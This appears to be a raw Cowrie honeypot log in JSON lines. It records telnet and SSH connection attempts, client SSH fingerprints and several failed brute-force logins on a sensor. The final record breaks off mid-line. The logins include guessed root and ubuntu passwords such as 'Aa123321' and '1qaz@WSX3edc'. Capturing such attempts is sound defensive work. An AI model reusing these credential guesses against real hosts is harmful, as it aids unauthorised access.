{"eventid":"cowrie.session.connect","src_ip":"185.99.22.203","src_port":61831,"dst_ip":"159.203.135.109","dst_port":23,"session":"8349a9acaed4","protocol":"telnet","message":"New connection: 185.99.22.203:61831 (159.203.135.109:23) [session: 8349a9acaed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:07.216571Z"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":36870,"dst_ip":"159.203.135.109","dst_port":23,"session":"9374b2577615","protocol":"telnet","message":"New connection: 67.23.227.170:36870 (159.203.135.109:23) [session: 9374b2577615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:07.292089Z"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":36636,"dst_ip":"159.203.135.109","dst_port":23,"session":"9874cc87208b","protocol":"telnet","message":"New connection: 67.23.227.170:36636 (159.203.135.109:23) [session: 9874cc87208b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:08.276459Z"}
{"eventid":"cowrie.session.closed","duration":37.763288736343384,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:08.431163Z","src_ip":"64.227.101.30","session":"370afd16b5b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.62304067611694,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:09.515390Z","src_ip":"67.23.227.170","session":"26adfeb290a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.95921516418457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:09.865912Z","src_ip":"67.23.227.170","session":"f283ae58d13e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":37466,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb5a5eda5ca0","protocol":"telnet","message":"New connection: 67.23.227.170:37466 (159.203.135.109:23) [session: cb5a5eda5ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:12.435573Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38022,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a2eb0fde0f2","protocol":"telnet","message":"New connection: 64.227.101.30:38022 (10.17.0.5:23) [session: 1a2eb0fde0f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:12.773480Z"}
{"eventid":"cowrie.session.closed","duration":39.05206322669983,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:13.298415Z","src_ip":"67.23.227.170","session":"48639e7eccd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60614,"dst_ip":"10.17.0.5","dst_port":23,"session":"03edfc649a1b","protocol":"telnet","message":"New connection: 64.227.101.30:60614 (10.17.0.5:23) [session: 03edfc649a1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:15.300741Z"}
{"eventid":"cowrie.session.closed","duration":32.043747663497925,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:16.070038Z","src_ip":"67.23.227.170","session":"d5902c671d24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.049574851989746,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:20.266000Z","src_ip":"185.99.22.203","session":"8349a9acaed4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.266225814819336,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:32.070546Z","src_ip":"67.23.227.170","session":"6154661ceb23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.115724802017212,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:34.996595Z","src_ip":"67.23.227.170","session":"78779d1d94ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":40218,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1ab6c4317cc","protocol":"telnet","message":"New connection: 67.23.227.170:40218 (159.203.135.109:23) [session: e1ab6c4317cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:38.614574Z"}
{"eventid":"cowrie.session.closed","duration":31.53818702697754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:38.830143Z","src_ip":"67.23.227.170","session":"9374b2577615","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35628,"dst_ip":"10.17.0.5","dst_port":23,"session":"be64ee56f7a0","protocol":"telnet","message":"New connection: 64.227.101.30:35628 (10.17.0.5:23) [session: be64ee56f7a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:38.991779Z"}
{"eventid":"cowrie.session.closed","duration":0.005402803421020508,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:38.996901Z","src_ip":"64.227.101.30","session":"be64ee56f7a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.968263864517212,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:40.244586Z","src_ip":"67.23.227.170","session":"9874cc87208b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08327579498291,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:43.518718Z","src_ip":"67.23.227.170","session":"cb5a5eda5ca0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33730,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7dd9130f9db","protocol":"telnet","message":"New connection: 64.227.101.30:33730 (10.17.0.5:23) [session: a7dd9130f9db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:44.787109Z"}
{"eventid":"cowrie.session.closed","duration":0.005422353744506836,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:44.792394Z","src_ip":"64.227.101.30","session":"a7dd9130f9db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.66869282722473,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:47.468109Z","src_ip":"64.227.101.30","session":"3cbf01c1711d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":50284,"dst_ip":"10.17.0.5","dst_port":23,"session":"5aac25f19abf","protocol":"telnet","message":"New connection: 64.227.101.30:50284 (10.17.0.5:23) [session: 5aac25f19abf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:51.879289Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":53319,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf40cab057c3","protocol":"ssh","message":"New connection: 216.155.93.75:53319 (10.17.0.5:22) [session: bf40cab057c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:57.214037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:57.220258Z","src_ip":"216.155.93.75","session":"bf40cab057c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:57.373484Z","src_ip":"216.155.93.75","session":"bf40cab057c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52140,"dst_ip":"10.17.0.5","dst_port":23,"session":"66f26f5ed1b3","protocol":"telnet","message":"New connection: 64.227.101.30:52140 (10.17.0.5:23) [session: 66f26f5ed1b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:57.823035Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"z1x2c3v4","message":"login attempt [root/z1x2c3v4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:58.016919Z","src_ip":"216.155.93.75","session":"bf40cab057c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:59.173029Z","src_ip":"216.155.93.75","session":"bf40cab057c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.47954964637756,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:02:59.594953Z","src_ip":"64.227.101.30","session":"145d52bb304d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52036,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdcd3826f1c2","protocol":"telnet","message":"New connection: 64.227.101.30:52036 (10.17.0.5:23) [session: bdcd3826f1c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:04.451429Z"}
{"eventid":"cowrie.session.closed","duration":30.238470792770386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:08.852947Z","src_ip":"67.23.227.170","session":"e1ab6c4317cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":21322,"dst_ip":"10.17.0.5","dst_port":22,"session":"2635547f388e","protocol":"ssh","message":"New connection: 49.247.36.49:21322 (10.17.0.5:22) [session: 2635547f388e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:10.527302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:10.532240Z","src_ip":"49.247.36.49","session":"2635547f388e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:10.745216Z","src_ip":"49.247.36.49","session":"2635547f388e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:11.628916Z","src_ip":"49.247.36.49","session":"2635547f388e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:12.845661Z","src_ip":"49.247.36.49","session":"2635547f388e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.22805380821228,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:13.001428Z","src_ip":"64.227.101.30","session":"1a2eb0fde0f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":38746,"dst_ip":"159.203.135.109","dst_port":22,"session":"e303433b483b","protocol":"ssh","message":"New connection: 43.243.142.42:38746 (159.203.135.109:22) [session: e303433b483b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:16.329601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:16.335876Z","src_ip":"43.243.142.42","session":"e303433b483b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:16.580422Z","src_ip":"43.243.142.42","session":"e303433b483b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX3edc","message":"login attempt [ubuntu/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:17.575823Z","src_ip":"43.243.142.42","session":"e303433b483b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:18.821479Z","src_ip":"43.243.142.42","session":"e303433b483b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.1871120929718,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:20.066288Z","src_ip":"64.227.101.30","session":"5aac25f19abf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":45580,"dst_ip":"159.203.135.109","dst_port":23,"session":"80d90781e8f6","protocol":"telnet","message":"New connection: 67.23.227.170:45580 (159.203.135.109:23) [session: 80d90781e8f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:28.326078Z"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":46190,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2efa17b77f7","protocol":"telnet","message":"New connection: 67.23.227.170:46190 (159.203.135.109:23) [session: c2efa17b77f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:33.394016Z"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":45772,"dst_ip":"159.203.135.109","dst_port":23,"session":"79d5e449d8e0","protocol":"telnet","message":"New connection: 67.23.227.170:45772 (159.203.135.109:23) [session: 79d5e449d8e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:35.362688Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36122,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a9327b7892e","protocol":"telnet","message":"New connection: 64.227.101.30:36122 (10.17.0.5:23) [session: 8a9327b7892e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:36.220886Z"}
{"eventid":"cowrie.session.closed","duration":32.000099658966064,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:36.451422Z","src_ip":"64.227.101.30","session":"bdcd3826f1c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.8372015953064,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:43.657231Z","src_ip":"64.227.101.30","session":"66f26f5ed1b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":29394,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9edcb6f420a","protocol":"ssh","message":"New connection: 94.156.152.18:29394 (159.203.135.109:22) [session: c9edcb6f420a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:52.351406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:52.356383Z","src_ip":"94.156.152.18","session":"c9edcb6f420a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:52.482901Z","src_ip":"94.156.152.18","session":"c9edcb6f420a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEEN#8VCPU16GBAMD","message":"login attempt [root/QUEEN#8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:52.867369Z","src_ip":"94.156.152.18","session":"c9edcb6f420a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:53.997266Z","src_ip":"94.156.152.18","session":"c9edcb6f420a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.14250922203064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:59.468487Z","src_ip":"67.23.227.170","session":"80d90781e8f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":33550,"dst_ip":"10.17.0.5","dst_port":22,"session":"e90f7601d6da","protocol":"ssh","message":"New connection: 216.155.93.75:33550 (10.17.0.5:22) [session: e90f7601d6da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:59.652552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:03:59.657622Z","src_ip":"216.155.93.75","session":"e90f7601d6da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com"